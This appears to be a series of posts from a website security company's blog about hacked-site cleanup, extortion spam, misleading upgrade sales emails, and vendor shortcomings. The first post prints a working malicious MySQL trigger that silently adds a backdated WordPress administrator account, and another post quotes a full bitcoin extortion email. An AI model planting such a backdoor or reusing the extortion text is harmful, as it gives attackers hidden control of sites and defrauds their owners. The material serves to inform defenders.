How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', '', '', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

SiteLock is Still Leaving Websites in a Broken State After Incomplete Malware Removals

It usually isn’t too difficult to properly clean up malware infected websites, but that doesn’t mean that security companies won’t cut corners. Here was someone recently looking for help after SiteLock had left their website broken after doing malware removal:

My website was recently hacked. I worked with the domain host and SiteLock to remove the malware. The site is now back, but not functioning properly. The formatting is generic and the menu is gone. Any help would be greatly appreciated.

That isn’t a new problem, that has been going on for years. Despite that, web hosts continue to partner with them because they pay the web hosts a significant amount of their fees. That probably helps to explain the result, since lots of the money being paid for the service isn’t being spent on the work.

If you hire us to remove malware from your website, we will make sure that everything is working again before we even charge you for the work.

Spammers Still Pretending to Have Hacked Websites to Collect Bitcoins From Unwitting Website Owners

Yesterday we got a spam contact form submission claiming our website had been hacked and demanding a ransom. It is part of what looks to be a new large wave of an ongoing spam campaign, which has been going on for at least several years. It is a hoax and websites receiving the message have not been hacked. This was the message we received:


We have hacked your website and extracted your databases.

How did this happen?

Our team has found a vulnerability within your site that we were able to exploit. After finding the vulnerability we were able to get your database credentials and extract your entire database and move the information to an offshore server.

What does this mean?

We will systematically go through a series of steps of totally damaging your reputation. First your database will be leaked or sold to the highest bidder which they will use with whatever their intentions are. Next if there are e-mails found they will be e-mailed that their information has been sold or leaked and your was at fault thusly damaging your reputation and having angry customers/associates with whatever angry customers/associates do. Lastly any links that you have indexed in the search engines will be de-indexed based off of blackhat techniques that we used in the past to de-index our targets.

How do I stop this?

We are willing to refrain from destroying your site’s reputation for a small fee. The current fee is $2500 in bitcoins (BTC).

Please send the bitcoin to the following Bitcoin address (Copy and paste as it is case sensitive):


Once you have paid we will automatically get informed that it was your payment. Please note that you have to make payment within 7 days after receiving this e-mail or the database leak, e-mails dispatched, and de-index of your site WILL start!

How do I get Bitcoins?

You can easily buy bitcoins via several websites or even offline from a Bitcoin-ATM.

What if I don’t pay?

If you decide not to pay, we will start the attack at the indicated date and uphold it until you do, there’s no counter measure to this, you will only end up wasting more money trying to find a solution. We will completely destroy your reputation amongst google and your customers.

This is not a hoax, do not reply to this email, don’t try to reason or negotiate, we will not read any replies. Once you have paid we will stop what we were doing and you will never hear from us again!

Please note that Bitcoin is anonymous and no one will find out that you have complied.

In our case, it is rather obvious to be a false claim, since, among other things, the database for our website doesn’t contain any sensitive information that would be of any value to anyone or be a concern if it was released. Looking at the log for our website, the spammer only visited the contact page, which makes it more obvious that this is a hoax.

For others who don’t deal in security as we do, it is easy enough for someone to believe this could be true, but it is a hoax. Unfortunately, it looks like someone did fall for it.

Features of Your Website Will Not Stop Working if You Don’t Switch to PHP 8 By November 28

We recently got the following frightening sounding spam email, with the subject “PHP Version Upgrade”, claiming that features of websites will stop working on November 28 if PHP isn’t upgraded to version 8:

I hope everything is going perfect at your end. I am writing this email on the behalf of my IT company having specialization in different technologies and platforms. This email is in the context of outdated PHP version of our website. Your website is running on PHP version below 8.0 which is going to be totally outdated on 28th November 2022. You need to get the website updated immediately else some features will stop working after that.

We can assist you with this easily. Please let me know if you want to upgrade the website to PHP version 8.0 or higher and we will be sharing our quotation for the same accordingly.

That isn’t true.

What this relates to that is real is that the last version of PHP below 8, 7.4, will lose official security support from the developers on that day. Earlier versions, though, will continue to work after that, as has always been the case. So nothing will stop working on websites still using an earlier version of PHP.

Running a version of PHP that doesn’t have security support from the developers doesn’t mean that your website is at risk of being hacked, either. For that to be the case, there would need to be a serious vulnerability found and no unofficial update for it made available or that update isn’t applied to PHP on the server. There hasn’t been a vulnerability in PHP that has led to widespread hacking of websites in many years. It also isn’t uncommon for websites running a supported version of PHP to not be running the latest version of it.

What Changing to PHP 8 Involves

If you do want to change to PHP 8, it possibly involves two separate sets of actions. One of which can actually cause features of the website or the entire website to not work. The action that could cause that is changing the version of PHP in use to version 8. The reason for that is that not all older software is designed to be compatible with PHP 8.

How you change the PHP version in use to 8 depends on your hosting set up. In some cases, it is as simple as changing a setting in the hosting control panel associated with the website. In other cases, it could involve the website’s web host needing to move the website to a new server.

The other action that might need to be done is to change the software on the website to be compatible with PHP 8, so that features of the website or the whole website doesn’t stop working. That might be handled by updating software on the website. Or it might involve rewriting code if custom code is used or if third-party code used hasn’t already been updated for PHP 8.

Should You Be Making This Change?

While it is a good idea to keep your website up to date and running supported software for security purposes, it is important to understand that running outdated software doesn’t automatically put your website at risk. It is even possible that a new version of software introduces a vulnerability that didn’t exist before.

Your best option is to have a relationship with a company or individual that can give you honest advice on how you can best keep your software up to date within your budget and what might be the pitfalls of changing between major PHP versions, like a switch from PHP 7 to 8, with the software on your website, so those can be dealt with in a way that lessens possible problems.

We handle upgrades of a variety of popular web software and have many years of experience dealing with changes that need to be made to avoid incompatibilities with new versions of PHP.

Continuing to Run Drupal 7 Isn’t Making Your Website Insecure Contrary to Claims by Abbacus Technologies and Prodigitude

In June 2020, Drupal announced that the end of support for Drupal 7 was being delayed until November 28, 2022. In February of this year, it was delayed until November 1, 2023. It might get delayed further:

We will announce by July 2023 whether we will extend Drupal 7 community support an additional year. Factors that we will consider are community support, Drupal 7 usage, and active Drupal 7 maintainers. Current support is made possible thanks to the many Drupal 7 maintainers and companies that are paying to support Drupal 7.

Despite that, websites running Drupal 7 have recently been getting emails from spammers promoting hiring them to migrate Drupal 7 websites with misleading claims, including about the security of Drupal 7.

One of that we recently reviewed had a sender email address from the domain name, which redirects to the website of a company named TEN7. But clicking a link in the email instead took you to the website of Abbacus Technologies. The email starts out with this statement:

Upgrade your Drupal Site as Drupal will quit supporting lower versions

As we already mentioned, Drupal 7 continues to be supported for more than a year. Eventually all versions of Drupal will no longer be supported, so the argument that you should migrate from Drupal 7 because support will eventually end, would also be an argument for not using any version of Drupal (or any software for that matter)

The email goes on to say this:

Better security – Your store will be more secure as many security loop holes are being covered in this updates.

It is unclear what “security loop holes” refers to, as that isn’t security terminology, but Drupal 7 continues to receive security updates if there are vulnerabilities found. If they want to claim that Drupal 7 is insecure in comparison to Drupal 9, we would love to see what, if any, evidence they could present to back that up.

A second email that we recently reviewed came from a company named Prodigitude. They at least were partially honest about support not ending soon:

Drupal 7 will reach its end-of-life in November 2023 which will leave your website vulnerable to cyberattacks, amongst other dangers.

They though also claimed that migrating to the new version of Drupal would secure it:

With the migration, your website will have security measures in place to ensure your website isn’t in danger of malfunctioning or at risk of hacking.

There isn’t an ability to make a website impervious to hacking by migrating to the new version of Drupal. It could still get hacked even if Drupal is up to date, if say, an unfixed vulnerability is discovered by a hacker. There are other ways that a website can be hacked that can’t be prevented by the software running on the website. Among those, the underlying server could be breached.

Securing a Drupal 7 Website

If you do want to ensure that a Drupal 7 website is secure against threats in Drupal, you do need to promptly apply security updates. If you haven’t been doing that, we offer a subscription upgrade service, where it only costs $1 for the first month, as we are confident you will want to keep using the service.

While it isn’t necessary to migrate to Drupal 9 from 7 at this time, if you do want to do that, we offer a service for handling the migration.

Cloudways Isn’t a Great Option For Hosting a Magento Website if You Want to Be Able to Upgrade It

We were recently hired to do a Magento upgrade of a website hosted with a web host named Cloudways. Our experience with what they were providing and their support when what they provide doesn’t work was bad. That is despite claiming to provide the best managed Magento hosting platform:

Experience faster than ever Magento cloud hosting designed with a fully optimized stack for the best performance, reliability, and security, with 24/7 active support.

The most serious issues was the first big one we ran into. While working on the test of the upgrade, running the update command for Composer managed to cause the server to hang, and it had to be restarted. That shouldn’t happen and being able to run that command is a core part of the upgrade process, so that was a big problem. When the server was restarted, it had a different issue with hanging.

Cloudway’s support was no help in trying to understand what caused the initial hang or how it could be avoided. Instead, they simply suggested running it again and monitoring what happened.

Further usage of the command produced inconsistent results. In some cases, running it errored out and others ran without issue. That isn’t ideal when trying to handle doing an upgrade, where you are trying to carefully manage things.

Whatever is the underlying problem with their server environment and Composer, in our limited experience it didn’t just impact upgrades. After the upgrade, our client was trying to install a new extension through Composer and that also failed because a lack of “memory or swap”. Re-running the process later ran without issue.

An entry on Cloudway’s user suggestion forum indicates that people have been experiencing issues with taking basic actions through Composer since at least 2016.

Book Review: Web Security for Developers

The need for better security for websites isn’t debatable and No Starch Press, the publisher of the book Web Security for Developers, sums up the book in a way that suggests it can help developers to improve that:

Web Security for Developers will teach you how your websites are vulnerable to attack and how to protect them. Each chapter breaks down a major security vulnerability and explores a real-world attack, coupled with plenty of code to show you both the vulnerability and the fix.

The book unfortunately doesn’t really deliver on that. While the book provides an easy to read overview of web security, which could be a really useful resource, the author doesn’t really seem to have a great grasp of real world security. That leads to a situation where the advice provided is sometimes glaringly bad and basic security measures go mentioned.

As an example of the first issue, the author at one point claims that developers of lower-level software used to create websites “have strong incentive to stay on top of security vulnerabilities”:

Experts in their field write each of these dependencies, saving you the burden of having to write your own memory management or low-level TCP semantics. These experts also have a strong incentive to stay on top of security vulnerabilities and issue patches as they arise, so you should take advantage of the resources they provide!

If that were the case, then software wouldn’t be as insecure as it is. The author would seem to understand that, at least to a degree, as the very next paragraph mentions need to keep updating software to avoid some of the vulnerabilities that exist in the software:

A secure SDLC should include a process for reviewing third-party libraries and determining when patches need to be applied. This often needs to happen outside the regular development cycle, since hackers won’t wait until your next scheduled release date to begin trying to exploit a security vulnerability.

Elsewhere in the book, the developer appears to lack of basic understanding of how hackers have worked for years, as it suggests that security through obscurity is useful:

When someone publishes a zero-day vulnerability for a software component, hackers will immediately scan for web servers running the vulnerable software in order to exploit the security hole. To protect yourself from such threats, you should ensure that your web server doesn’t leak information about the type of software stack you’re running on.

In reality, hackers have long tried to exploit vulnerabilities in software without first trying to find out if websites are using the software.

As an example of the second issue, basic security measures going mentioned, the book is oddly silent on sanitization and validation. For example, in a section on SQL injection attacks, it suggests using parametrized statements to avoid that, which is good advice, but then moves on the to defense in depth, which involves:

When it comes to preventing SQL injection, defense in depth means using bind parameters, but also taking additional steps to minimize the harm in case an attacker still finds a way to successfully execute injection attacks.

In between those things, sanitization and validation would be an obvious measure to take with the user input involved, but it goes unmentioned.

You end up with a book that it would be very hard to recommend, as it likely is to lead developers to having a really poor grasp of security. If the book could be redone with a coauthor that has a better understanding of security, the book could be a useful resource.

The author of the book describes a version

Hacksplaining is now a book! Hacksplaining has partnered with No Starch Press put all your essential web security knowledge into dead-tree form.

Based on the book, that is a resource to avoid.

Sucuri Security’s Website Firewall (WAF) Caused Ecommerce Website to Lose Out on Sales

Security services like GoDaddy’s Sucuri Security not only often do a bad job at providing security, but they can also introduce other problems for those using them. One reoccurring issue we have run into is that these services have attached caching to cloud based website application firewalls (WAFs) that aren’t compatible with some of the websites using them.

That recently came up while we were working on a Zen Cart upgrade, where in addition to us having problems working in the admin area of the website, it was mentioned that people were unable to complete the checkout process and having items disappear from their shopping cart.

The people running the website didn’t have any idea of what was causing the problems, which isn’t a unique in this situation. It also is understandable, since there isn’t anything visible that would point to caching causing a problem and, and as was the case here, people running the websites often don’t even know that the caching was enabled.

In this case, it involved Sucuri Security’s WAF, which had put on to the website through another GoDaddy company, Media Temple.

Sucuri Security markets the caching as benefit of using their service, though it could be explained as much by it lowering their costs.

While they claim it is “Built for all platforms”, the reality is that it can cause serious problems. Sucuri Security could help to avoid that by not implementing it by default as they do and also implementing basic checking to make sure that it doesn’t get implemented on a website in a way that is known to not be compatible with the software running on it.

Review of Wordfence Response Shows It Is a Terrible Option For Getting a Hacked WordPress Website Cleaned Up

The popular WordPress security plugin Wordfence Security is marketed with the claim that it will protect websites from being hacked:

Powered by the constantly updated Threat Defense Feed, Wordfence Firewall stops you from getting hacked.

Despite that, the developer sells two very expensive services for dealing with websites that have been hacked while using that plugin. That seems like it should be a big red flag to avoid both the plugin and those services, but isn’t for many, which can have significant consequences. A recent review tells that story.

The review involves a website that was presumably hacked while using Wordfence’s plugin and then they were hired to deal with that:

Horrific (and non-existent) “emergency response”. We had two sites protected with the WordFence premium plugin. Both came up with white screens of death this morning, so we went to WordFence as a ‘trusted’ provider to hopefully help us get back online.

It isn’t actually clear based on the review that the website was hacked, as opposed to some other issue causing the website to be broken and have the “white screen of death shown”. Wordfence should have made sure that there really was a hack before taking any money to do a hack cleanup. We always do and we would recommend avoiding any provider that doesn’t.

Instead, they got this person to pay way too much for a hack cleanup through their Wordfence Response service:

We fell for their $950 (NINE HUNDRED AND FIFTY) dollar “emergency” response plan where they are supposed to dedicate some urgent resources for “mission critical” websites to get you back online fast.

That is significantly more than we charge for a WordPress hack cleanup and we are not the cheapest option.

For all that money, you are not getting a response in line with what is supposed to be provided. Instead, they only promise to get back to you within an hour and address the hack within 24 hours:

Wordfence Response is for mission-critical WordPress websites that require 24/7/365 security monitoring with a 1-hour response time and 24-hour remediation.

It usually only takes a few hours to handle a cleanup, so them getting it done within 24 hours isn’t a great result. Perhaps that is why they emphasize responding within an hour, since that makes it sound like a better service. The reviewer’s result, though, was worse than that:

It look over an hour for the representative to come back and tell us that because we had 4 other subdomains completely outside of public_html on the server, that we would have to pay FOUR MORE TIMES (yes, $4000 more) to get them to even start looking at it.

So it took over an hour to respond that the overpriced service was going to be even more expensive.

After agreeing to pay the outrageous sum, things didn’t even move forward:

SEVERAL HOURS LATER (now NINE HOURS) after the emergency ticket was crated, a new “Director of Information Technology” sends us an email that they can’t help us at all because there are plugins that have “obsufated code” in them and so they can’t help us. They don’t bother to even tell us what plugins (we suspect Membermouse, some plugins do this), or even offer to simply remove that plugin and continue their search and help.

Instead, they send that email and then ignore us. So now $5000 and 9 hours later we still have a broken site and no emergency response from Wordfence.

It isn’t uncommon to deal with legitimate obfuscated code on a hacked website. It makes things slightly more difficult, but when you are overcharging for hack cleanup to the degree Wordfence is, it wouldn’t be a real issue.

The description of their service has some other significant red flags. For example, here is how they describe the cleanup process:

When a security incident impacts your site, our team works directly with you and securely clones your site onto a forensic server. Safely away from your production website, our team analyzes the incident using tools, processes, and data that have taken years to develop. We find the attack vector, track down indicators of compromise, and remediate your site.

Beyond a slew of buzz-words, what they are describing is either not accurate or is going to produce bad results. Usually a key part of cleaning up the hack and trying to figure out how the website involves reviewing log files, so copy the website isn’t going to do anything for that. Also, they are not being honest about an important reality, which is often you can’t actually determine how the website was hacked or, to use their parlance, find the attack vector. Surely they must know that, but somehow as a security company they don’t feel that being honest with perspective customers is important. It really isn’t surprising to then hear the result once they have gotten people’s money.

Fresh Installs of WordPress Apparently Being Hacked Based on Public Disclosure From Let’s Encrypt

It’s long been a known issue that if you place a copy of WordPress on a publicly accessible website, but don’t configure it, hackers will eventually configure it, which gives them access to the website. This works because WordPress has no restrictions on configuring it once the files are loaded on the website and you can configure it with a database on another server, so you don’t need to have access to any existing logins for the website. This isn’t usually an issue since people upload WordPress and promptly configure it, but recent claims suggest that hackers have found a way to exploit this even in that type of situation.

Let’s Encrypt is a service that provides free SSL certificates. A message on their support forum described part of what appears to be going on here:

we found more sites, which was hacked very fastly after LE generated.
Our clients start installation after LE was green, but in meantime (max 15 minutes after LE) robot from 185.59.221.* come and use WP installation files to prepare hack. Days after – on all domain call malware script and start DDOS to IP from France. I think that it is because is scanned.

A reply added further details and suggested that this part of a larger issue when it comes to hackers:

More likely they are directly polling the CT log servers, as the delay to detect new domains is much shorter. But yes, what you describe has been happening for a few years now. I see requests to paths like /.git/index within seconds of issuing new certificates!

The CT mentioned there refers to certificate transparency, which Let’s Encrypt describes this way:

Certificate Transparency (CT) is a system for logging and monitoring the issuance of TLS certificates. CT greatly enhances everyone’s ability to monitor and study certificate issuance, and these capabilities have led to numerous improvements to the CA ecosystem and Web security. As a result, CT is rapidly becoming critical infrastructure.

A topic on the WordPress’ support forum includes more discussion of what is happening and a common denominator of a malicious file being added at /wp-includes/.query.php.

One solution to this would be for WordPress to change the installation process to require that the person doing the configuration has control of the website, say, by adding a file. That would make the installation more complicated, but that might not be a big issue these days, with many installs of WordPress being handled through automated systems.

Another possible solution would be for Let’s Encrypt to delay disclosing information on newly issued certificates, which would not only have an impact on this particular situation, but possibly work against what else they are trying to accomplish.

Among the promoted sponsors and funders of Let’s Encrypt shown on their homepage, is Automattic, the company closely tied to WordPress, and several web hosts that have an emphasis on WordPress: